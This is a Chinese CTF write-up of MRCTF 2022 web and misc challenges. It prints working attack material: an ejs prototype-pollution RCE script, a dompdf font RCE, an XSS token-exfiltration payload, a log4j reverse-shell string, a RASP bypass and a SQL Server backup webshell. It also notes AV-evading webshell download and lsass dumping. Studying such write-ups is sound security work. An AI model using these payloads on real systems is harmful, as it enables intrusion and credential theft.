MRCTF 2022 By W&M
综述
本次比赛共放出10个web相关题目,除签到web外共拿下8个一血一个三血。其余做出的题目也均有二血三血,师傅们真的是太强啦!
WEB
EzJava
java不出网反序列化
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
过滤的有点少用InstantiateFactory
& FactoryTransformer
随便bypass下就过去了。然后写内存马就行
Tprint
/runtime/log/202204/23.log
有个Admin控制器
直接index.php?s=Admin
能文件上传。并且目录可控。但是不能跨到storage目录外
根目录有个指定文件名输出pdf的接口
/public/index.php?s=Printer/print&page=/public/storage/static/20220424/8af39fce798b3cd3bf2f7155488f9808.css
大概率就是打组件洞
google下发现最近出了个pdfdom的RCE。
https://github.com/positive-security/dompdf-rce
简单试了下。靶机貌似不出网
把所有文件都传到靶机上。靶机web通过报错知道是81端口
并且。github中的exploit_fonts.php在这题中不能直接用。嘚自己找个ttf。不能带<?
然后就一样了。
上传ttf的恶意文件
恶意的css
@font-face {
font-family:'exploitfont';
src:url('http://127.0.0.1:81/public/storage/static/20220424/cbf2066d1606641d7c2358b7d6f9daf1.php');
font-weight:'normal';
font-style:'normal';
}
恶意的html
<!DOCTYPE html>
<html>
<head>
<style>
body {
display: block;
text-align: center;
}
</style>
</head>
<body>
<h1><link rel=stylesheet href='http://127.0.0.1:81/public/storage/static/20220424/0d527e00f4807b4bcf101c239866ea77.css'></h1></body></html>
接口触发。就行了。
然后找文件。由于web是在/的。可以访问到tp vendor目录
触发后文件生成在
vendor/dompdf/dompdf/lib/fonts/exploitfont-normal_md5(css中指向的php链接).php
WebCheckIn
绷不住了。只能传php。其他文件都是回显index。
php直接报new Error(1)异常就绕过了。
然后flag。。。。/var/log/dpkg.log
hurry_up
ejs在三天前发的3.1.7版本修了一直以来的outputFunctionName
原型污染RCE,但是靶机的版本是3.1.6,还能打。
条件竞争进行原型污染RCE。
(请求A访问/,清除Object上的原型污染,并等待100毫秒) -> (请求B进行原型污染) -> (请求A等待结束,进行ejs模板渲染,原型污染RCE,回显flag)
import requests as requ
import time
import os
requests = requ.Session()
proxies = {}
server = "http://hurry.node2.buptmerak.cn"
def urlencode(sth):
result = ""
for i in sth:
result += "%"
result += "%02x" % ord(i)
return result
def add(paths,data):
url = server + "/hide?a=1"
for item in paths:
url += f"&path[]={item}"
url += "&value="+urlencode(data)
r = requests.get(url,proxies=proxies)
return r
def main():
payload="ee;return process.mainModule.require('child_process').execSync('cat /flag && echo successed').toString();//"
while 1:
_ = (add(['__proto__','outputFunctionName'],payload))
if __name__ == '__main__':
main()
from app import server
import requests as requ
import time
import os
requests = requ.Session()
def view():
return requests.get(server)
def main():
while 1:
data = view()
if 'html' not in data.text:
#if 'successed' in data.text:
print(data.text)
main()
God_of_GPA
上传
<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){
location.href="//ip/flag?f="+encodeURIComponent(uri)
}else{
location.href="http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri="+window.location.href
}
</div>
<img src='data:,"onerror="eval(scrip.innerText)' id="MyImg" />
向bot提交
6b912163-9f05-417a-ab54-8060e550387d
反弹得到
/flag?f=http%3A%2F%2Fbrtclient.node3.mrctf.fun%2Fview%2F6b912163-9f05-417a-ab54-8060e550387d%3Ftoken%3DrFANjznMf279H2WdhX6NEPPWazGPKibk
本地访问
http://brtclient.node3.mrctf.fun/login?token=rFANjznMf279H2WdhX6NEPPWazGPKibk
即可作为zbr登录,话说zbr是谁啊
登录即可getflag
springcoffee
一个显而易见的Rome反序列化 + 不出网 + 新版Kyro反序列化 + 远程rasp + 计算题/readflag
通过 pom可以知道这里的Kyro是新版
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.3.0</version>
</dependency>
而常用的marshalsec里包含的是4.0.0的版本,新版对于旧版的改变在本题目中体现在
- setRegistrationRequired 默认为True 也就是类默认需要注册才可以执行
- 如果手动注册也会出现一些问题
com.esotericsoftware.kryo.KryoException: Encountered unregistered class ID: XXXX
at com.esotericsoftware.kryo.util.DefaultClassResolver.readClass(DefaultClassResolver.java:137)
at com.esotericsoftware.kryo.Kryo.readClass(Kryo.java:693)
at com.esotericsoftware.kryo.Kryo.readClassAndObject(Kryo.java:804)
kryo.register(SomeClass.class);这样的话,SomeClass 注册到了 Kryo,它将该类与一个 int 型的 ID 相关联。当 Kryo 写出 SomeClass 的一个实例时,它会写出这个 int ID。这比写出类名更有效。在反序列化期间,注册的类必须具有序列化期间相同的 ID 。
还有一种情况是kryo每次写入类的完整信息,而不是通过int类型的ID号去代替。kryo不能保证"每次jvm重启之后,或者在多台jvm机器之间,同一个类注册到kryo的class ID会相同"
这就出现了其实及时解决了本地的id问题 也不能预测远程的id顺序。所以我们的目标其实很明确的到了setRegistrationRequired = false
出题人非常贴心
给了一个接口去可控set方法
只需要我们发送这样的json
{"polish":"true","RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}
即可关闭注册功能,而将rome的链子缝合进去后,又会有新的报错
简单来说,默认的系列化器不支持没有无参构造函数的类,我们还要找一个新的类
上网查了一下资料。发现网上的很多资料都与dubbo有关
然后就看到了这个
这两个替代类简直不能再完美了,刚好触发Rome必要的toString方法
改一改链子就出来了,需要注意的是 这里和之前的hessian反序列化一样 需要二次反序列化才可以成功注入恶意字节码。具体可以看我的文章
https://ha1c9on.top/?p=1973#0x02-tamplates
然后改改就是新的链子了
之后注入内存马后发现不能执行命令。列目录发现了
rasp 拖下来看了眼
过滤了ProcessImpl Start等关键字。其实他们底层调用的都是UNIXProcess
Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String[] command = {"/bin/sh", "-c", cmd};
byte[] prog = toCString(command[0]);
byte[] argBlock = getArgBlock(command);
int argc = argBlock.length;
int[] fds = {-1, -1, -1};
Object obj = constructor.newInstance(prog, argBlock, argc, null, 0, null, fds, false);
Method method = cls.getDeclaredMethod("getInputStream");
method.setAccessible(true);
InputStream is = (InputStream) method.invoke(obj);
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
正常回显后发现/readflag是个计算题
有perl 用网上的脚本改改就是了
se strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
bonus
Java_mem_shell_Filter
username处log4j 用dnslog探测了一下远程是8u20 用
${jndi:ldap://127.0.0.1:1389/Deserialize/Jre8u20/ReverseShell/ip/port}
就能弹shell了
然后使用arthas
dump一下hprof strings下
Java_mem_shell_Basic
manager 弱密码 tomcat/tomcat
传个war
flag在tomcat首次编译jsp的tomcat/work
目录里threatbook_jsp.java
Just Hacking
Redis 弱密码 用msf爆破了一下就出了
然后主从复制写一下so
可以从/root/.docker/发现config.yaml目录
有docker的账号密码
登录发现private容器
拉下来就是flag
Isass
扫一下开了3389 1433 有book目录
弱密码admin/123456登录后台
看cnvd有个注入
顺着注入思路可以找到
这个地方有注入
通过堆叠注入 + sqlserver备份模式可以写一个asp
');backup database book to disk ='C:\\inetpub\\wwwroot\\book\\ha2.asp';--
');create table ha1c9on ([exp][image]);--
');insert into ha1c9on(exp)values(0x3c706167654c616e67756167653d4a533c76616c3c526571756573742e3c74656d5b2270617373225d2c22756e7361666522293b);--
');backup database book to disk='C:\inetpub\wwwroot\book\ha2.asp' WITH DIFFERENTIAL,FORMAT;--
因为远程有卡巴斯基,所以先写一个小马上去
然后通过小马写个exec
https://github.com/tennc/webshell/blob/master/aspx/as.ashx
可以稳定执行命令后通过curl
下载已经被免杀的哥斯拉马
这里前期信息收集到是 Windows Server 2019 Dec
然后弹个可交互的cmd回来
上传某提权
加用户3389
dump lsass
MISC
pdd
AES,每个16字节是独立加密的(不是CBC),在username里构造字符串";s:5:"money";i:
和100;s:3:"tim";i:
替换掉username后的times和money即可。注意对齐到16字节。
import requests,base64,json
from textwrap import wrap
proxies = {}
#requests = requests.Session()
requests.verify=False
import warnings
warnings.filterwarnings("ignore")
import random
def pprint_32(hex):
parsed = wrap(hex,32)
return "\n"+("\n".join(parsed).replace("\x00","0"))
def pprint(hex):
parsed = wrap(hex,16)
return "\n"+("\n".join(parsed).replace("\x00","0"))
def random_ip():
ip = ".".join(map(str, (random.randint(0, 255)
for _ in range(4))))
return ip
def make_session():
r = requests.Session()
r.verify=False
return r
def start(requests,username=""):
data = requests.post('https://ppd.node3.mrctf.fun/lucky.php?action=start',json={"username":username},proxies=proxies,verify=False)
return data.json()
def lucky(requests,enc):
data = requests.post('https://ppd.node3.mrctf.fun/lucky.php?action=lucky',json={"enc":enc},proxies=proxies,verify=False)
if data.text.startswith("<br"):
return False
text = data.text
text = text[text.find("{"):]
return json.loads(text)
return data.json()
def flag(requests,enc):
data = requests.post('https://ppd.node3.mrctf.fun/lucky.php?action=getFlag',json={"enc":enc},proxies=proxies,verify=False)
return data.json()
def info(requests,enc):
data = requests.post('https://ppd.node3.mrctf.fun/lucky.php?action=info',json={"enc":enc},proxies=proxies,verify=False)
if data.text.startswith("<br"):
return False
text = data.text
text = text[text.find("{"):]
return json.loads(text)
return data.json()
def help(requests,userid,proxies=proxies):
headers={"X-Forwarded-For":random_ip()}
data = requests.get('https://ppd.node3.mrctf.fun/lucky.php?action=help&udb='+userid,headers=headers,proxies=proxies,verify=False)
return data.json()
def get_best_result(requests,rang,enc):
results = []
for i in range(rang):
d = lucky(requests,enc)
results.append(d)
target = results[0]
for i in results:
if i['money'] > target['money']:
target = i
return target
def do_help(session1,userdb,rang):
for _ in range(rang):
#session1 = make_session()
#start_data1 = start(session1)
#print(start_data1)
d = help(session1,userdb) #proxies = {"http":"http://127.0.0.1:7890","https":"http://127.0.0.1:7890"}
if d['code'] != 200:
print(d)
def decode_enc(enc):
return base64.b64decode(enc.encode())
def view_enc(enc):
encd = bytearray(base64.b64decode(enc.encode()))
encd = bytes(encd)
print(len(encd),pprint_32(base64.b16encode(encd).decode()))
username =\
'''\
000000000000\
";s:5:"money";i:\
100;s:3:"tim";i:\
'''.replace("\r","").replace("\n","").replace("\r\n","").ljust(124,'0')
def main9():
session = make_session()
start_data = start(session,username)
enc = start_data['enc']
plain = start_data['debug']
print("original enc and plain:")
print(len(plain),pprint(plain))
#print(plain)
view_enc(enc)
pos1 = 35+16+1
enc_orig = enc
encb = base64.b64decode(enc.encode())
def getGroup(x):
return encb[16*(x):16*(x+1)]
enct = getGroup(0)+\
getGroup(1)+\
getGroup(2)+\
getGroup(3)+\
getGroup(4)+\
getGroup(5)+\
getGroup(6)+\
getGroup(7)+\
getGroup(8)+\
getGroup(9)+\
getGroup(3)+\
getGroup(4)+\
getGroup(12)
enc_new = base64.b64encode(bytes(enct)).decode()
#view_enc(enc_new)
info_data = info(session,enc_new)
print("modified enc and plain:")
print(len(info_data['debug']),pprint(info_data['debug']))
(view_enc(info_data['enc']))
flags = flag(session,enc_new)
print(flags)
main9()
#{'code': '200', 'flag': 'MRCTF{Xi_Xi0ngDi_9_Na_Kan_w0!}'}
connecting
- 从obj中找到错误的面(那个面凸出来了,并且只有他的数值里有个十六进制d)。
f 4d33/5237/6149 6354/4600/6869 6871/6871/6870
每一个字节转ascii得到M3R7aIcTF\x00hihqhqhp
- png exif有
Thank Fabien Petitcolas For his work.
想到MP3Stego - 使用MP3Stego 密钥为
M3R7aIcTF
解出FBGTGURXMFEWGVCGFEWSAKZAFVGVEQ2UIZ5VOSKGJFPTEMBSGJPWG33ONZSWG5C7ON2WGY3FONZWM5LMNR4SC7I
base32得到(M3R7aIcTF)- + -MRCTF{WIFI_2022_connect_successfully!}
bleach
使用rtpbreak
从pcap提取raw pcm文件。
rtpbreak -r mus1c6s.pcapng
#提取出来的pcm文件是rtp.0.0.raw
#pcm格式是signed int 16 bits 44100 1channel,但是这个格式没有用
注意到文件开头全是01
,考虑lsb。写脚本提取lsb。
from textwrap import wrap
data1 = open("rtp.0.0.raw","rb").read()
data = bytearray()
for i in range(len(data1)):
item = data1[i]
if item & 0b1:
data.append(ord('1'))
else:
data.append(ord('0'))
with open("lsb_from_orig.raw","wb") as file:
file.write(bytes(data))
t = bytes(data).decode()
ts = wrap(t,8)
with open("lsb_from_orig_data1.raw","wb") as file:
for item in ts:
b = byte(int(item,2))
file.write(b)
从提取的lsb中找到最先不是0xFF的,往后数400*400/8
个字节,复制为二进制。(即:从二进制中找到最先不是1的,往后数400*400个二进制位。或者直接从0开始数也可以好像。。。我看不明白这个题)
lsb_from_orig_data1.raw
620h:620h+4E20h
写脚本渲染400x400
黑白图片。
import cv2
import numpy as np
data = '''
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111011 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
11111111 11111111 11111111 11111111 11100000 00000000 00011111 11111111
11111111 11111111 11111111 11111111 11111111 11111111 11111111 11111111
#省略剩余部分
'''.replace("\r","").replace("\n","").replace(" ","")
img_size = (400,400)
img = np.zeros(img_size, np.uint8)
for x in range(400):
for y in range(400):
pixel = int(data[x*400+y])
color = (255,255,255)
if pixel:
color = (0,0,0)
cv2.rectangle(img,(x,y),(x,y),color,1)
cv2.imshow("foo",img)
cv2.waitKey()
MRCTF{Don't_Use_Your_tools!}
ReadLongNovel
小说找一下关键字
{
"0": {
"answer": "2",
"question": "地球上的人类一共发射了几艘深空殖民舰"
},
"1": {
"answer": "卡普坦",
"question": "飞船黄金太阳号的航行目标是哪里?"
},
"10": {
"answer": "56",
"question": "租用一艘小型曲率飞船需要多少阿米巴积分?"
},
"11": {
"answer": "塔比文明",
"question": "哪个文明委托棘哈曼文明建造了戴森球"
},
"12": {
"answer": "阿米巴文明",
"question": "银河系的第三任治理者是哪个文明"
},
"13": {
"answer": "张远",
"question": "昆仑山舰队的第一任舰长是谁"
},
"14": {
"answer": "数字化改造",
"question": "四级文明迈向五级文明的经典标志是"
},
"15": {
"answer": "6",
"question": "意识上传技术属于几级文明??"
},
"16": {
"answer": "林方正",
"question": "社会公养体系由哪位教授提出"
},
"17": {
"answer": "电磁工业",
"question": "托斯文明科技树与其他文明不同,且专长于什么"
},
"18": {
"answer": "托斯文明",
"question": "人类与哪个文明合作前往“中子星-中子星”双星区域"
},
"19": {
"answer": "启迪者文明",
"question": "格利泽文明遇到的第一个星际文明是哪个文明"
},
"2": {
"answer": "格利泽581g",
"question": "飞船地球时代号前往哪颗行星?"
},
"20": {
"answer": "6",
"question": "在虚拟世界所有回归者中排名第一的传奇人物获得了多少亿分?"
},
"21": {
"answer": "绝对中立的态度",
"question": "宇宙中阿米巴系对待其他文明保持什么态度"
},
"22": {
"answer": "2",
"question": "万能工厂的文明技术等级"
},
"23": {
"answer": "虚幻实验室",
"question": "教授山本一郎属于哪个实验室"
},
"24": {
"answer": "5",
"question": "超凡者考核中,至少完成几个轮回可以选择通过考核"
},
"25": {
"answer": "绿星文明",
"question": "深红工业联合消灭了哪个文明"
},
"26": {
"answer": "盖亚生物",
"question": "银河系未来将成为哪个生物的标准智慧单元"
},
"27": {
"answer": "完善新文明史学",
"question": "人类获得格利泽文明的详细历史资料是为了完善什么?"
},
"28": {
"answer": "文学作家",
"question": "林青青在老年时期成为了什么"
},
"29": {
"answer": "2509",
"question": "黄金太阳号于纪元多少年离开母星地球"
},
"3": {
"answer": "10",
"question": "曲率科技在交易市场中的价格是多少万阿米巴积分?"
},
"30": {
"answer": "启程号",
"question": "新人类第一艘泰坦级巨型母舰被命名为什么"
},
"31": {
"answer": "抗打击",
"question": "战星相较于飞船什么能力最为突出"
},
"32": {
"answer": "曲率科技",
"question": "哪种科技是四级文明的核心技术"
},
"33": {
"answer": "能够抵抗沉沦,拒绝长期沉迷于庸俗享受",
"question": "意识形态层面五级文明的标准是在几乎永生的情况下能够怎样?"
},
"34": {
"answer": "大目标",
"question": "五级文明在哲学层面最大的难点是培养永恒的什么?"
},
"35": {
"answer": "计算",
"question": "新文明史学的核心思想是通过什么方法来规划文明的未来走向"
},
"36": {
"answer": "60",
"question": "根据新文明史学的预测,地球文明发射第二艘的概率是百分之多少"
},
"37": {
"answer": "科学议事会",
"question": "(新人类文明)地球时代号飞船的最高权力机构是"
},
"38": {
"answer": "冬眠",
"question": "地球文明数千亿计的人们通过什么方式来逃避现实"
},
"39": {
"answer": "仙女星系",
"question": "阿米巴文明起源于哪个星系?"
},
"4": {
"answer": "李俊康",
"question": "\"鹰隼一号\"驱逐舰的舰长是谁?"
},
"40": {
"answer": "16",
"question": "大麦哲伦星系距离银河系多少万光年?"
},
"41": {
"answer": "依塔",
"question": "盖亚文明-η高维监狱管理者的管理者是什么"
},
"42": {
"answer": "师兄弟",
"question": "赵青锋和张远的关系是"
},
"43": {
"answer": "人造子宫技术",
"question": "社会公养体系的前置技术是什么"
},
"44": {
"answer": "林青青",
"question": "谁是穿越者丁鹏的姐姐"
},
"45": {
"answer": "克隆",
"question": "半球明的主要繁殖方式是什么"
},
"46": {
"answer": "1",
"question": "可控核聚变技术属于几级文明?"
},
"47": {
"answer": "万物理论",
"question": "深空大学的学术期刊名为?"
},
"48": {
"answer": "星辰学报",
"question": "星辰大学的学术期刊叫什么?"
},
"49": {
"answer": "5000",
"question": "泰坦级巨型母舰能够容纳多少万人口"
},
"5": {
"answer": "3",
"question": "在飞船上的第一次考试中,张远在太空机械学专业排名是多少?"
},
"6": {
"answer": "深空基金会",
"question": "在地球上,张远将所有财产,捐赠给了哪个组织?"
},
"7": {
"answer": "28",
"question": "葡萄草多少天就能够长出果实?"
},
"8": {
"answer": "",
"question": "初次相遇时,人类与巴迪特文明交易了几条信息"
},
"9": {
"answer": "可可丝状疣",
"question": "人类第一次来到环泰文明交易市场时,由谁负责对接?"
}
}
按照问题回答就行